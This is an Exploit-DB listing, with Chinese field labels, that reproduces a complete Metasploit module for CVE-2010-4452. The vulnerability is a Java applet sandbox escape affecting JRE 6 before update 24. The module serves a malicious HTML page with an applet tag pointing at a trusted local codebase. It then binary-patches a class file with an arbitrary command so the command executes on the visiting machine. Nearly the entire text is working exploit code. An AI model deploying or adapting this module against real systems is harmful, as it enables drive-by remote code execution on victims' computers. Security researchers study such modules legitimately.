标题: Sun Java Applet2ClassLoader - Remote Code Execution (Metasploit) EDB-ID: 16990 CVE: 2010-4452 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-03-16 漏洞利用脚本: ##
# $Id: java_codebase_trust.rb 11983 2011-03-16 05:01:29Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize( info = {} )
  super( update_info( info,
   'Name'          => 'Sun Java Applet2ClassLoader Remote Code Execution Exploit',
   'Description'   => %q{
     This module exploits a vulnerability in Java Runtime Environment
    that allows an attacker to escape the Java Sandbox. By supplying a 
    codebase that points at a trusted directory and a code that is a URL that
    does not contain an dots an applet can run without the sandbox.

    The vulnerability affects version 6 prior to update 24.
   },
   'License'       => MSF_LICENSE,
   'Author'        => [
     'Frederic Hoguin', # Discovery, PoC
     'jduck'            # Metasploit module
    ],
   'Version'       => '$Revision: 11983 $',
   'References'    =>
    [
     [ 'CVE', '2010-4452' ],
     # [ 'OSVDB', '' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-084/' ],
     [ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
     [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
    ],
   'Platform'      => [ 'java', 'win' ],
   'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
   'Targets'       =>
    [
     # OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
     # FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
     [ 'Automatic (no payload)', { } ]
=begin
     [ 'Windows x86',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win',
      }
     ],
     [ 'Generic (Java Payload)',
      {
       'Arch' => ARCH_JAVA,
       'Platform' => 'java',
      }
     ],
=end
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 15 2011'
   ))
 
  register_options(
   [
    OptString.new('CMD', [ false,  "Command to run.", "calc.exe"]),
    OptString.new('LIBPATH', [ false,  "The codebase path to use (privileged)",
     "C:\\Program Files\\java\\jre6\\lib\\ext"]),
   ], self.class)
 end

 def exploit
  path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
  @java_class = nil
  File.open(path, "rb") { |fd|
   @java_class = fd.read(fd.stat.size)
  }
  if not @java_class
   raise RuntimeError, "Unable to load java class"
  end

  super
 end

 def on_request_uri(cli, request)
  #print_status("Received request: #{request.uri}")

  jpath = get_uri(cli)
  #print_status(jpath)

  # Do what get_uri does so that we can replace it in the string
  host = Rex::Socket.source_address(cli.peerhost)
  host_num = Rex::Socket.addr_aton(host).unpack('N').first

  codebase = "file:" + datastore['LIBPATH']
  code_url = jpath.sub(host, host_num.to_s)

  cmd = datastore['CMD']
  cmd_off = 0xb4

  cn_off = 0xfc

  case request.uri

  when /\.class$/
   #p = regenerate_payload(cli)

   print_status("Sending class file to #{cli.peerhost}:#{cli.peerport}...")

   cls = @java_class.dup
   cls[cmd_off,2] = [cmd.length].pack('n')
   cls[cmd_off+2,8] = cmd

   cn_off += (cmd.length - 8)  # the original length was 8 (calc.exe)
   cls[cn_off,2] = [code_url.length].pack('n')
   cls[cn_off+2,7] = code_url

   #File.open('ughz.class', 'wb') { |fd| fd.write cls }

   send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
   handler(cli)

  else
   html = <<-EOS
<html>
<body>
<applet codebase="#{codebase}" code="#{code_url}" />
</body>
</html>
EOS
   print_status("Sending HTML file to #{cli.peerhost}:#{cli.peerport}...")
   send_response_html(cli, html)
   handler(cli)
  end

 end

end URL: https://www.exploit-db.com/exploits/16990